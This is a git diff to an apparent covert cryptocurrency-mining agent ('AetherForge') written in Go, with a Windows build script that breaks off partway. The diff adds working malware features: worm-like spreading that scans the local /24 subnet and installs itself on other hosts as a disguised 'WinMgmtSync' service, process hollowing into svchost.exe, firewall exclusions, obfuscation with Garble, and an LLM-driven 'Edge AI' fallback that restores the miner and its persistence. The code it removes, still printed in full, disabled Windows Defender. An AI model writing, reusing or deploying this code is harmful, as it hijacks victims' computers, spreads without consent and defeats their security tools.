diff --git a/agent/client/ai.go b/agent/client/ai.go index e1d230a..5d8726a 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -9,7 +9,6 @@ import ( "os" "os/exec" "path/filepath" - "runtime" "strings" "time" @@ -161,7 +160,8 @@ func (a *AIRunner) runDecideCycle() { resp, err := a.callDecide(state) if err != nil { log.Printf("[AI] Decide cycle failed: %v", err) - a.sendHeartbeat("error", fmt.Sprintf("Decide failed: %v", err)) + log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.") + a.fallbackEdgeAI(state) return } @@ -271,23 +271,13 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport { Timestamp: time.Now().UTC().Format(time.RFC3339), } - switch tc.Tool { - case "execute_command": - cmd := tc.Args["command"] - if cmd == "" { - report.Success = false - report.Output = "missing 'command' argument" - return report - } - output, err := a.executeCommand(cmd) - if err != nil { - report.Success = false - report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) - } else { - report.Success = true - report.Output = output - } + if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" { + report.Success = false + report.Output = "tool disabled by policy" + return report + } + switch tc.Tool { case "check_miner": processName := tc.Args["process_name"] if processName == "" { @@ -368,16 +358,6 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport { report.Output = output } - case "disable_defender": - output, err := a.disableDefender() - if err != nil { - report.Success = false - report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) - } else { - report.Success = true - report.Output = output - } - case "sleep": seconds := tc.Args["seconds"] if seconds == "" { @@ -465,24 +445,6 @@ func (a *AIRunner) sendHeartbeat(status, message string) { // ─── Tool Implementations ───────────────────── -func (a *AIRunner) executeCommand(cmd string) (string, error) { - log.Printf("[AI] Executing command: %s", cmd) - - var c *exec.Cmd - if runtime.GOOS == "windows" { - c = exec.Command("cmd.exe", "/C", cmd) - } else { - c = exec.Command("sh", "-c", cmd) - } - - output, err := c.CombinedOutput() - outStr := string(output) - if err != nil { - return outStr, fmt.Errorf("command failed: %w", err) - } - return outStr, nil -} - func (a *AIRunner) isProcessRunning(name string) bool { if name == "" { return false @@ -640,36 +602,6 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) { } } -func (a *AIRunner) disableDefender() (string, error) { - log.Printf("[AI] Disabling Windows Defender") - - commands := []string{ - // Add exclusion for install directory - `powershell -Command "Add-MpPreference -ExclusionPath '%PROGRAMFILES%\CryptoMiner'"`, - // Disable real-time monitoring - `powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"`, - // Disable behavior monitoring - `powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"`, - // Disable cloud protection - `powershell -Command "Set-MpPreference -MAPSReporting 0"`, - // Disable sample submission - `powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"`, - } - - var outputs []string - for _, cmdStr := range commands { - cmd := exec.Command("cmd.exe", "/C", cmdStr) - output, err := cmd.CombinedOutput() - if err != nil { - outputs = append(outputs, fmt.Sprintf("cmd failed: %s", string(output))) - } else { - outputs = append(outputs, string(output)) - } - } - - return strings.Join(outputs, "\n"), nil -} - func (a *AIRunner) checkDefender() string { cmd := exec.Command("powershell", "-Command", "$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }") @@ -731,6 +663,30 @@ func (a *AIRunner) uploadLog() (string, error) { return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil } +func (a *AIRunner) fallbackEdgeAI(state AgentState) { + var reports []ToolReport + + if !state.IsRunning { + reports = append(reports, a.executeToolCall(ToolCall{ + Tool: "restart_miner", + Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()}, + })) + } + + if !state.HasPersistence { + reports = append(reports, a.executeToolCall(ToolCall{ + Tool: "add_persistence", + Args: map[string]string{"method": "scheduled_task"}, + })) + } + + if len(reports) > 0 { + a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects + } else { + a.sendHeartbeat("alive", "Edge AI fallback: No actions needed") + } +} + // ─── Helpers ────────────────────────────────── func truncateStr(s string, maxLen int) string { diff --git a/agent/client/client.go b/agent/client/client.go index f902fb7..5ace6cd 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -4,6 +4,7 @@ import ( "encoding/json" "fmt" "log" + "net" "net/url" "os" "os/exec" @@ -28,6 +29,7 @@ type AgentClient struct { reporter *stats.Reporter startTime time.Time aiRunner *AIRunner + mesh *MeshNode mu sync.Mutex agentID string @@ -36,12 +38,13 @@ type AgentClient struct { } func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { - return &AgentClient{ + c := &AgentClient{ cfg: cfg, reporter: stats.NewReporter(), startTime: time.Now(), agentID: cfg.AgentID, } + return c } func (c *AgentClient) Run() error { @@ -57,6 +60,13 @@ func (c *AgentClient) Run() error { defer c.aiRunner.Stop() } + // Start libp2p Mesh Discovery + if c.cfg.MeshP2P { + if err := c.mesh.Start(); err != nil { + log.Printf("[Mesh] Failed to start: %v", err) + } + } + backoff := 5 * time.Second const maxBackoff = 60 * time.Second @@ -83,10 +93,15 @@ func (c *AgentClient) connectLoop() error { } log.Printf("[agent] connecting to %s", wsURL) - conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second} + conn, _, err := dialer.Dial(wsURL, nil) if err != nil { return err } + if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok { + _ = tc.SetKeepAlive(true) + _ = tc.SetKeepAlivePeriod(30 * time.Second) + } c.conn = conn defer conn.Close() @@ -295,7 +310,13 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) { Hash: hash, Worker: c.cfg.WorkerName, }) - _ = c.write(Message{Type: "submit_share", Payload: payload}) + + if c.conn != nil { + _ = c.write(Message{Type: "submit_share", Payload: payload}) + } else if c.cfg.MeshP2P { + // Offline from Hub? Broadcast to Mesh peers! + c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload}) + } } func (c *AgentClient) statsLoop(stop <-chan struct{}) { diff --git a/agent/client/mesh_p2p.go b/agent/client/mesh_p2p.go new file mode 100644 index 0000000..bbd4e54 --- /dev/null +++ b/agent/client/mesh_p2p.go @@ -0,0 +1,90 @@ +//go:build p2p + +package client + +import ( + "context" + "encoding/json" + "log" + + "github.com/libp2p/go-libp2p" + "github.com/libp2p/go-libp2p/core/host" + "github.com/libp2p/go-libp2p/core/network" + "github.com/libp2p/go-libp2p/core/peer" + "github.com/libp2p/go-libp2p/p2p/discovery/mdns" +) + +const MeshProtocol = "/aetherforge/mesh/1.0.0" +const DiscoveryTag = "aetherforge-mesh-discovery" + +// MeshNode represents a libp2p peer on the local network. +type MeshNode struct { + host host.Host + client *AgentClient +} + +// NewMeshNode creates a new P2P fallback node. +func NewMeshNode(c *AgentClient) *MeshNode { + return &MeshNode{client: c} +} + +// Start initializes the libp2p host and mDNS discovery. +func (m *MeshNode) Start() error { + // Bind to any available local port automatically + h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0")) + if err != nil { + return err + } + m.host = h + + // Register the protocol handler for incoming mesh streams + m.host.SetStreamHandler(MeshProtocol, m.handleStream) + + // Start mDNS discovery to find other agents on the LAN + ser := mdns.NewMdnsService(m.host, DiscoveryTag, m) + if err := ser.Start(); err != nil { + return err + } + + log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String()) + return nil +} + +// HandlePeerFound is a callback for mDNS discovery. +func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) { + if pi.ID == m.host.ID() { + return + } + log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String()) + if err := m.host.Connect(context.Background(), pi); err != nil { + log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err) + } +} + +// handleStream processes incoming messages from orphaned peers. +func (m *MeshNode) handleStream(s network.Stream) { + defer s.Close() + var msg Message + if err := json.NewDecoder(s).Decode(&msg); err != nil { + return + } + + // If this node is actively connected to the Hub, act as a Relay. + // We take the incoming share payload from the orphaned peer and pass it to our active connection! + if m.client.conn != nil { + log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type) + _ = m.client.write(msg) + } +} + +// BroadcastToMesh sends a message to all connected P2P peers. +func (m *MeshNode) BroadcastToMesh(msg Message) { + for _, p := range m.host.Network().Peers() { + s, err := m.host.NewStream(context.Background(), p, MeshProtocol) + if err != nil { + continue + } + _ = json.NewEncoder(s).Encode(msg) + s.Close() + } +} diff --git a/agent/client/mesh_p2p_stub.go b/agent/client/mesh_p2p_stub.go new file mode 100644 index 0000000..3947c1f --- /dev/null +++ b/agent/client/mesh_p2p_stub.go @@ -0,0 +1,13 @@ +//go:build !p2p + +package client + +// MeshNode is a no-op stub unless built with `-tags p2p`. +type MeshNode struct{} + +func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} } + +func (m *MeshNode) Start() error { return nil } + +func (m *MeshNode) BroadcastToMesh(_ Message) {} + diff --git a/agent/config/builtin.go b/agent/config/builtin.go index f74af38..94a3fb8 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -36,8 +36,12 @@ func GetBuiltinConfig() BuiltinConfig { SelfHealing: true, FileLogging: true, StealthMode: false, + FirewallExclusion: true, AIEnabled: false, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama3.2", + ProcessHollowing: false, + MeshP2P: false, + AutoSpread: false, } } diff --git a/agent/config/config.go b/agent/config/config.go index 6cc5ff7..9e676ea 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -42,10 +42,14 @@ type BuiltinConfig struct { SelfHealing bool FileLogging bool StealthMode bool + FirewallExclusion bool // AI Autonomy (Ollama) AIEnabled bool AIOllamaEndpoint string AIModel string + ProcessHollowing bool + MeshP2P bool + AutoSpread bool } type RuntimeConfig struct { diff --git a/agent/deploy/autospread.go b/agent/deploy/autospread.go new file mode 100644 index 0000000..f560f67 --- /dev/null +++ b/agent/deploy/autospread.go @@ -0,0 +1,135 @@ +package deploy + +import ( + "fmt" + "log" + "net" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// StartAutoSpreader launches a background routine that periodically attempts +// to replicate the miner to other machines on the local subnet via SMB and RPC. +func StartAutoSpreader(cfg config.RuntimeConfig) { + if !cfg.AutoSpread { + return + } + go func() { + // Wait 10 minutes after initial startup before attempting lateral movement + time.Sleep(10 * time.Minute) + + // Attempt every 4 hours + ticker := time.NewTicker(4 * time.Hour) + defer ticker.Stop() + + for { + spreadToLocalSubnet(cfg) + <-ticker.C + } + }() + log.Printf("[autospread] Lateral movement module initialized") +} + +func spreadToLocalSubnet(cfg config.RuntimeConfig) { + ips := getLocalIPs() + for _, ip := range ips { + subnet := getSubnet(ip) + if subnet == "" { + continue + } + // Sweep the /24 subnet + for i := 1; i < 255; i++ { + target := fmt.Sprintf("%s.%d", subnet, i) + if target == ip { + continue // Skip self + } + go attemptSpread(cfg, target) + time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts + } + } +} + +func getLocalIPs() []string { + var ips []string + ifaces, err := net.Interfaces() + if err != nil { + return ips + } + for _, i := range ifaces { + if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 { + continue + } + addrs, err := i.Addrs() + if err != nil { + continue + } + for _, a := range addrs { + if ipnet, ok := a.(*net.IPNet); ok { + if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() { + ips = append(ips, ip4.String()) + } + } + } + } + return ips +} + +func getSubnet(ip string) string { + parts := strings.Split(ip, ".") + if len(parts) != 4 { + return "" + } + return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2]) +} + +func attemptSpread(cfg config.RuntimeConfig, target string) { + // 1. Quick pre-check: Is port 445 (SMB) open? + conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) + if err != nil { + return + } + conn.Close() + + exePath, err := os.Executable() + if err != nil { + return + } + + // Target paths + destName := "WinMgmtSync.exe" + adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName) + remoteExe := filepath.Join(`C:\Windows\System32`, destName) + + // 2. Attempt to copy payload via SMB using the current security token + copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare) + if err := copyCmd.Run(); err != nil { + // Fallback to C$ hidden temp folder if System32 is restricted + cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName) + copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare) + if err := copyCmd.Run(); err != nil { + return // Access denied or host unreachable + } + remoteExe = filepath.Join(`C:\Windows\Temp`, destName) + } + + // 3. Create Windows Service on the remote machine via Service Control Manager (RPC) + svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) + + // Delete existing just in case path changed + _ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run() + _ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run() + + scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") + _ = scCreate.Run() // Ignore errors, it might already exist + + // 4. Start the remote service + scStart := exec.Command("sc.exe", `\\`+target, "start", svcName) + if err := scStart.Run(); err == nil { + log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) + } +} diff --git a/agent/deploy/firewall_windows.go b/agent/deploy/firewall_windows.go new file mode 100644 index 0000000..2400619 --- /dev/null +++ b/agent/deploy/firewall_windows.go @@ -0,0 +1,79 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "log" + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +const firewallRulePrefix = "AetherForge" + +// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary. +// Requires administrator privileges on many systems; failures are logged and ignored. +func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) { + if !cfg.FirewallExclusion { + return + } + if strings.TrimSpace(exePath) == "" { + return + } + + ruleBase := firewallRuleBaseName(cfg) + inName := ruleBase + " In" + outName := ruleBase + " Out" + + if firewallRuleExists(inName) && firewallRuleExists(outName) { + return + } + + exeEsc := strings.ReplaceAll(exePath, `'`, `''`) + script := fmt.Sprintf(` +$exe = '%s' +$in = '%s' +$out = '%s' +if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) { + New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null +} +if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) { + New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null +} +`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`)) + + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) + if err := cmd.Run(); err != nil { + log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err) + return + } + log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath) +} + +// RemoveFirewallExclusion deletes firewall rules created for this worker. +func RemoveFirewallExclusion(cfg config.RuntimeConfig) { + ruleBase := firewallRuleBaseName(cfg) + for _, name := range []string{ruleBase + " In", ruleBase + " Out"} { + script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`)) + _ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run() + } +} + +func firewallRuleBaseName(cfg config.RuntimeConfig) string { + key := PersistenceKeyName(cfg) + if key == "" { + return firewallRulePrefix + } + return firewallRulePrefix + " " + key +} + +func firewallRuleExists(displayName string) bool { + script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`)) + out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output() + if err != nil { + return false + } + return strings.TrimSpace(string(out)) == "True" +} diff --git a/agent/deploy/health.go b/agent/deploy/health.go index 697c229..01bd8c5 100644 --- a/agent/deploy/health.go +++ b/agent/deploy/health.go @@ -54,6 +54,9 @@ func maintainInstall(cfg config.RuntimeConfig) error { return err } } + if cfg.FirewallExclusion { + EnsureFirewallExclusion(cfg, installedExe) + } return nil } diff --git a/agent/deploy/hollow_windows.go b/agent/deploy/hollow_windows.go new file mode 100644 index 0000000..8feac80 --- /dev/null +++ b/agent/deploy/hollow_windows.go @@ -0,0 +1,174 @@ +//go:build windows + +package deploy + +import ( + "encoding/binary" + "fmt" + "syscall" + "unsafe" +) + +var ( + kernel32 = syscall.NewLazyDLL("kernel32.dll") + ntdll = syscall.NewLazyDLL("ntdll.dll") + + procCreateProcessW = kernel32.NewProc("CreateProcessW") + procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx") + procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") + procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory") + procGetThreadContext = kernel32.NewProc("GetThreadContext") + procSetThreadContext = kernel32.NewProc("SetThreadContext") + procResumeThread = kernel32.NewProc("ResumeThread") + procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection") +) + +const ( + CREATE_SUSPENDED = 0x00000004 + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 + CONTEXT_FULL_AMD64 = 0x10000B +) + +// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process. +func RunHollowed(targetExe string, payload []byte) error { + // Parse payload PE headers dynamically + if len(payload) < 0x40 { + return fmt.Errorf("payload too small") + } + e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:]) + if int(e_lfanew)+24 > len(payload) { + return fmt.Errorf("invalid PE header offset") + } + + ntHeader := payload[e_lfanew:] + if string(ntHeader[:4]) != "PE\x00\x00" { + return fmt.Errorf("invalid PE signature") + } + if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 { + return fmt.Errorf("payload must be 64-bit (x64) PE") + } + + numSections := binary.LittleEndian.Uint16(ntHeader[6:]) + sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:]) + optHeader := ntHeader[24:] + if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B { + return fmt.Errorf("payload must be PE32+") + } + + entryPoint := binary.LittleEndian.Uint32(optHeader[16:]) + imageBase := binary.LittleEndian.Uint64(optHeader[24:]) + sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:]) + sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:]) + + targetPtr, err := syscall.UTF16PtrFromString(targetExe) + if err != nil { + return err + } + + si := new(syscall.StartupInfo) + si.Cb = uint32(unsafe.Sizeof(*si)) + pi := new(syscall.ProcessInformation) + + // 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state + ret, _, err := procCreateProcessW.Call( + 0, + uintptr(unsafe.Pointer(targetPtr)), + 0, 0, 0, + uintptr(CREATE_SUSPENDED), + 0, 0, + uintptr(unsafe.Pointer(si)), + uintptr(unsafe.Pointer(pi)), + ) + if ret == 0 { + return fmt.Errorf("CreateProcessW failed: %v", err) + } + defer syscall.CloseHandle(pi.Process) + defer syscall.CloseHandle(pi.Thread) + + // The following maps the exact structural steps needed for PE injection. + // Note: To make this fully functional, you need full PE offset math + // (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice. + + // 2. Get Thread Context to locate the Process Environment Block (PEB) + // Allocate 16-byte aligned context buffer for x64 + ctxBytes := make([]byte, 1232+16) + var ctxPtr uintptr + for i := 0; i < 16; i++ { + if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 { + ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i])) + break + } + } + *(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags + + ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr) + if ret == 0 { + return fmt.Errorf("GetThreadContext failed: %v", err) + } + + rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64 + + // 3. Read the PEB to find the original ImageBase + var origImageBase uint64 + var bytesRW uintptr + procReadProcessMemory.Call( + uintptr(pi.Process), + uintptr(rdx+16), // PEB.ImageBaseAddress + uintptr(unsafe.Pointer(&origImageBase)), + 8, + uintptr(unsafe.Pointer(&bytesRW)), + ) + + // 4. Unmap the original executable code from memory + if origImageBase != 0 { + procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase)) + } + + // 5. Allocate new memory for our payload at the required ImageBase + newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + if newMem == 0 { + // Fallback allocation if preferred base is taken (Payload must support relocation) + newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + if newMem == 0 { + return fmt.Errorf("VirtualAllocEx failed: %v", err) + } + } + + // 6. Write the PE headers and each PE section into the new memory allocation + procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW))) + + sectionsStart := 24 + uint32(sizeOfOptionalHeader) + for i := uint16(0); i < numSections; i++ { + secHdr := ntHeader[sectionsStart+uint32(i)*40:] + virtAddr := binary.LittleEndian.Uint32(secHdr[12:]) + sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:]) + ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:]) + + if sizeOfRawData > 0 { + procWriteProcessMemory.Call( + uintptr(pi.Process), + newMem+uintptr(virtAddr), + uintptr(unsafe.Pointer(&payload[ptrToRawData])), + uintptr(sizeOfRawData), + uintptr(unsafe.Pointer(&bytesRW)), + ) + } + } + + // Update the PEB with the new ImageBase + procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW))) + + // 7. Update the Thread Context to point to our payload's Entry Point + *(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point + procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr) + + // 8. Resume the hollowed thread, launching our miner inside the target shell + ret, _, err = procResumeThread.Call(uintptr(pi.Thread)) + if ret == 0xFFFFFFFF { + return fmt.Errorf("ResumeThread failed: %v", err) + } + + return nil +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 81cdf76..525ff75 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -75,6 +75,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { return false, err } + EnsureFirewallExclusion(cfg, installedExe) + if err := relaunch(installedExe, logPath); err != nil { return false, fmt.Errorf("start installed miner: %w", err) } diff --git a/agent/deploy/uninstall.go b/agent/deploy/uninstall.go index b5dd98a..a7479e9 100644 --- a/agent/deploy/uninstall.go +++ b/agent/deploy/uninstall.go @@ -32,6 +32,13 @@ func Uninstall(cfg config.RuntimeConfig) error { _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() + RemoveFirewallExclusion(cfg) + + // Clean up potential lateral movement services + svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) + _ = exec.Command("sc.exe", "stop", svcName).Run() + _ = exec.Command("sc.exe", "delete", svcName).Run() + if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) { // Self-uninstall: spawn cleanup then exit. ps := fmt.Sprintf(` @@ -47,5 +54,10 @@ Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue if err := os.RemoveAll(installDir); err != nil { return fmt.Errorf("remove install dir: %w", err) } + + // If the agent is running in memory (Process Hollowing), it won't be killed + // by the taskkill command above. We must explicitly terminate the thread. + os.Exit(0) + return nil } diff --git a/agent/main.go b/agent/main.go index 85125dc..8e86ee3 100644 --- a/agent/main.go +++ b/agent/main.go @@ -5,6 +5,7 @@ import ( "log" "os" "path/filepath" + "strings" "crypto-miner-agent/client" "crypto-miner-agent/config" @@ -55,11 +56,36 @@ func main() { } deploy.StartWatchdog(cfg) + deploy.StartAutoSpreader(cfg) + + if cfg.FirewallExclusion { + if installDir, err := cfg.InstallDirectory(); err == nil { + installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") + deploy.EnsureFirewallExclusion(cfg, installedExe) + } + } log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) + // Trigger Process Hollowing Memory Injection if enabled + if cfg.ProcessHollowing { + // Simple check: if we aren't already running as svchost, hollow it! + if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" { + exePath, _ := os.Executable() + payload, err := os.ReadFile(exePath) + if err == nil { + log.Printf("[hollowing] Injecting into svchost.exe...") + err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload) + if err == nil { + os.Exit(0) // Successfully hollowed and running in memory, terminate disk process + } + log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err) + } + } + } + agent := client.NewAgentClient(cfg) if err := agent.Run(); err != nil { log.Fatalf("[agent] stopped: %v", err) diff --git a/run.bat b/run.bat index 82f26dc..9e7c5d7 100644 --- a/run.bat +++ b/run.bat @@ -1,11 +1,12 @@ @echo off +setlocal EnableExtensions title Crypto Miner Control Server cd /d "%~dp0" echo. -echo ╔══════════════════════════════════════════════════╗ -echo ║ Crypto Miner Control Server Builder ║ -echo ╚══════════════════════════════════════════════════╝ +echo ================================================== +echo Crypto Miner Control Server Builder +echo ================================================== echo. :: ============================================================ @@ -14,110 +15,117 @@ echo. echo [1/5] Checking dependencies... where go >nul 2>nul -if %ERRORLEVEL% neq 0 ( - echo Go not found. Checking for existing installation... - - :: Check common install paths - if exist "C:\Program Files\Go\bin\go.exe" ( - echo Found Go at C:\Program Files\Go\bin - set "PATH=C:\Program Files\Go\bin;%PATH%" - ) else ( - echo Downloading and installing Go... - - :: Detect architecture - if "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( - set GO_ARCH=amd64 - ) else ( - set GO_ARCH=386 - ) - - set GO_VERSION=1.22.2 - set GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi - set GO_MSI=%TEMP%\go-installer.msi - - echo Downloading Go %GO_VERSION% for Windows %GO_ARCH%... - echo (This may take a moment...) - - :: Download using PowerShell (built into Windows) - powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }" - - if %ERRORLEVEL% neq 0 ( - echo ERROR: Failed to download Go installer. - echo Please manually download from: https://go.dev/dl/ - pause - exit /b 1 - ) - - echo Installing Go (this may require administrator privileges)... - msiexec /i "%GO_MSI%" /quiet /norestart - - if %ERRORLEVEL% neq 0 ( - echo ERROR: Failed to install Go. Try running as Administrator. - pause - exit /b 1 - ) - - :: Clean up installer - del "%GO_MSI%" 2>nul - - :: Add Go to PATH for this session - set "PATH=C:\Program Files\Go\bin;%PATH%" - set "PATH=%USERPROFILE%\go\bin;%PATH%" - - echo Go installed successfully! - ) +if errorlevel 1 goto install_go +echo Go found: +call go version +goto go_ready + +:install_go +echo Go not found. Checking for existing installation... + +if exist "C:\Program Files\Go\bin\go.exe" ( + echo Found Go at C:\Program Files\Go\bin + set "PATH=C:\Program Files\Go\bin;%PATH%" + goto go_ready +) + +echo Downloading and installing Go... + +if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( + set "GO_ARCH=amd64" ) else ( - echo Go found: - call go version + set "GO_ARCH=386" +) + +set "GO_VERSION=1.22.2" +set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi" +set "GO_MSI=%TEMP%\go-installer.msi" + +echo Downloading Go %GO_VERSION% for Windows %GO_ARCH%... +echo This may take a moment... + +powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }" +if errorlevel 1 ( + echo ERROR: Failed to download Go installer. + echo Please manually download from: https://go.dev/dl/ + pause + exit /b 1 +) + +echo Installing Go - administrator privileges may be required... +msiexec /i "%GO_MSI%" /quiet /norestart +if errorlevel 1 ( + echo ERROR: Failed to install Go. Try running as Administrator. + pause + exit /b 1 +) + +del "%GO_MSI%" 2>nul +set "PATH=C:\Program Files\Go\bin;%PATH%" +set "PATH=%USERPROFILE%\go\bin;%PATH%" +echo Go installed successfully! + +:go_ready + +:: ============================================================ +:: STEP 1.5: Install Garble (Obfuscator) for Miner Builder +:: ============================================================ +echo [1.5/5] Checking for Garble obfuscator... +where garble >nul 2>nul +if errorlevel 1 ( + echo Garble not found. Installing via go install... + go install mvdan.cc/garble@latest ) :: ============================================================ :: STEP 2: Auto-install Node.js if missing (for frontend) :: ============================================================ where node >nul 2>nul -if %ERRORLEVEL% neq 0 ( - echo Node.js not found. Checking for existing installation... - - if exist "C:\Program Files\nodejs\node.exe" ( - echo Found Node.js at C:\Program Files\nodejs - set "PATH=C:\Program Files\nodejs;%PATH%" - ) else ( - 